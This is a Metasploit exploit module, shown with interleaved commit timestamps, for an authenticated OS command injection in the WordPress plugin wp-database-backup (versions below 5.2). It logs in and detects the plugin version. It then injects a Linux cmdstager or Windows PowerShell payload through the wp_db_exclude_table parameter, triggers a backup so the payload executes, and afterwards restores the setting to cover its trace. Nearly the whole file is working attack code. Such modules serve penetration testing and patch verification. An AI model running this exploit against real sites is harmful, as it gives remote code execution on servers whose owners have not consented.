2019-06-20 14:05:41 -05:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf :: Exploit :: Remote
2019-06-26 13:48:14 -05:00
Rank = ExcellentRanking
2019-06-20 14:05:41 -05:00
2019-06-26 13:48:14 -05:00
include Msf :: Exploit :: CmdStager
include Msf :: Exploit :: Powershell
include Msf :: Exploit :: Remote :: HTTP :: Wordpress
2019-06-20 14:05:41 -05:00
def initialize ( info = { } )
super ( update_info ( info ,
2019-06-25 11:21:15 -05:00
'Name' = > 'WP Database Backup RCE' ,
2019-06-20 14:05:41 -05:00
'Description' = > %q(
2019-06-25 11:21:15 -05:00
There exists a command injection vulnerability in the Wordpress plugin
`wp-database-backup` for versions < 5.2.
For the backup functionality, the plugin generates a `mysqldump` command
to execute. The user can choose specific tables to exclude from the backup
by setting the `wp_db_exclude_table` parameter in a POST request to the
`wp-database-backup` page. The names of the excluded tables are included in
the `mysqldump` command unsanitized. Arbitrary commands injected through the
`wp_db_exclude_table` parameter are executed each time the functionality
for creating a new database backup are run.
Authentication is required to successfully exploit this vulnerability.
2019-06-20 14:05:41 -05:00
) ,
'License' = > MSF_LICENSE ,
'Author' = >
[
2019-06-21 16:00:56 -05:00
'Mikey Veenstra / Wordfence' , # Vulnerability Discovery
'Shelby Pace' # Metasploit module
2019-06-20 14:05:41 -05:00
] ,
'References' = >
[
[ 'URL' , 'https://www.wordfence.com/blog/2019/05/os-command-injection-vulnerability-patched-in-wp-database-backup-plugin/' ] ,
] ,
2019-06-26 13:48:14 -05:00
'Platform' = > [ 'win' , 'linux' ] ,
2019-06-21 16:00:56 -05:00
'Arch' = > [ ARCH_X86 , ARCH_X64 ] ,
2019-06-20 14:05:41 -05:00
'Targets' = >
[
[
'Windows' ,
{
2019-06-21 16:00:56 -05:00
'Platform' = > 'win' ,
2019-06-25 11:21:15 -05:00
'Arch' = > [ ARCH_X86 , ARCH_X64 ]
2019-06-21 16:00:56 -05:00
}
] ,
[
'Linux' ,
{
'Platform' = > 'linux' ,
'Arch' = > [ ARCH_X86 , ARCH_X64 ] ,
2019-06-26 13:56:13 -05:00
'CmdStagerFlavor' = > 'printf'
2019-06-20 14:05:41 -05:00
}
]
] ,
2019-06-21 16:00:56 -05:00
'DisclosureDate' = > '2019-04-24' ,
2019-06-20 14:05:41 -05:00
'DefaultTarget' = > 0
) )
register_options (
[
OptString . new ( 'USERNAME' , [ true , 'Wordpress username' , '' ] ) ,
OptString . new ( 'PASSWORD' , [ true , 'Wordpress password' , '' ] ) ,
OptString . new ( 'TARGETURI' , [ true , 'Base path to Wordpress installation' , '/' ] )
] )
end
def check
return CheckCode :: Unknown unless wordpress_and_online?
changelog_uri = normalize_uri ( target_uri . path , 'wp-content' , 'plugins' , 'wp-database-backup' , 'readme.txt' )
res = send_request_cgi (
'method' = > 'GET' ,
'uri' = > changelog_uri
)
if res && res . code == 200
version = res . body . match ( / =+ \ s( \ d+ \ . \ d+) \ .? \ d* \ s= / )
return CheckCode :: Detected unless version && version . length > 1
2019-07-23 12:20:14 -05:00
vprint_status ( " Version of wp-database-backup detected: #{ version [ 1 ] } " )
2021-02-17 12:33:59 +00:00
return CheckCode :: Appears if Rex :: Version . new ( version [ 1 ] ) < Rex :: Version . new ( '5.2' )
2019-06-20 14:05:41 -05:00
end
CheckCode :: Safe
end
2019-06-26 13:48:14 -05:00
def exploit
cookie = wordpress_login ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] )
fail_with ( Failure :: NoAccess , 'Unable to log into Wordpress' ) unless cookie
res = create_exclude_table ( cookie )
nonce = get_nonce ( res )
create_backup ( cookie , nonce )
clear_exclude_table ( cookie )
end
2019-06-20 14:05:41 -05:00
def create_exclude_table ( cookie )
2019-06-21 16:00:56 -05:00
@exclude_uri = normalize_uri ( target_uri . path , 'wp-admin' , 'tools.php' )
2019-06-20 14:05:41 -05:00
res = send_request_cgi (
'method' = > 'GET' ,
2019-06-21 16:00:56 -05:00
'uri' = > @exclude_uri ,
2019-06-20 14:05:41 -05:00
'cookie' = > cookie ,
'vars_get' = > { 'page' = > 'wp-database-backup' }
)
fail_with ( Failure :: NotFound , 'Unable to reach the wp-database-backup settings page' ) unless res && res . code == 200
2019-06-21 16:00:56 -05:00
print_good ( 'Reached the wp-database-backup settings page' )
2019-06-25 11:21:15 -05:00
if datastore [ 'TARGET' ] == 1
2019-06-26 13:56:13 -05:00
comm_payload = generate_cmdstager ( concat_operator : ' && ' , temp : './' )
2019-06-26 13:48:14 -05:00
comm_payload = comm_payload . join ( '&&' )
2019-06-25 11:21:15 -05:00
comm_payload = comm_payload . gsub ( '\'' , '' )
comm_payload = " ; #{ comm_payload } ; "
else
comm_payload = " & #{ cmd_psh_payload ( payload . encoded , payload . arch , remove_comspec : true , encode_final_payload : true ) } & :: "
end
2019-06-21 16:00:56 -05:00
table_res = send_request_cgi (
'method' = > 'POST' ,
'uri' = > @exclude_uri ,
'cookie' = > cookie ,
'vars_post' = >
{
'wpsetting' = > 'Save' ,
'wp_db_exclude_table[wp_comment]' = > comm_payload
}
)
fail_with ( Failure :: UnexpectedReply , 'Failed to submit payload as an excluded table' ) unless table_res && table_res . code
print_good ( 'Successfully added payload as an excluded table' )
res . get_html_document
end
def get_nonce ( response )
2019-06-26 13:48:14 -05:00
fail_with ( Failure :: UnexpectedReply , 'Failed to get a proper response' ) unless response
2019-06-21 16:00:56 -05:00
div_res = response . at ( 'p[@class="submit"]' )
fail_with ( Failure :: NotFound , 'Failed to find the element containing the nonce' ) unless div_res
wpnonce = div_res . to_s . match ( / _wpnonce=([0-9a-z]*) / )
fail_with ( Failure :: NotFound , 'Failed to retrieve the wpnonce' ) unless wpnonce && wpnonce . length > 1
wpnonce [ 1 ]
end
def create_backup ( cookie , nonce )
first_res = send_request_cgi (
'method' = > 'GET' ,
'uri' = > @exclude_uri ,
'cookie' = > cookie ,
'vars_get' = >
{
'page' = > 'wp-database-backup' ,
'_wpnonce' = > nonce ,
'action' = > 'createdbbackup'
}
)
res = send_request_cgi (
'method' = > 'GET' ,
'uri' = > @exclude_uri ,
'cookie' = > cookie ,
'vars_get' = >
{
'page' = > 'wp-database-backup' ,
'notification' = > 'create'
}
)
fail_with ( Failure :: UnexpectedReply , 'Failed to create database backup' ) unless res && res . code == 200 && res . body . include? ( 'Database Backup Created Successfully' )
print_good ( 'Successfully created a backup of the database' )
end
def clear_exclude_table ( cookie )
res = send_request_cgi (
'method' = > 'POST' ,
'uri' = > @exclude_uri ,
'cookie' = > cookie ,
'vars_post' = >
{
'wpsetting' = > 'Save' ,
'wp_db_exclude_table[wp_comment]' = > 'wp_comment'
}
)
fail_with ( Failure :: UnexpectedReply , 'Failed to delete the remove the payload from the excluded tables' ) unless res && res . code == 200
print_good ( 'Successfully deleted the payload from the excluded tables list' )
2019-06-20 14:05:41 -05:00
end
end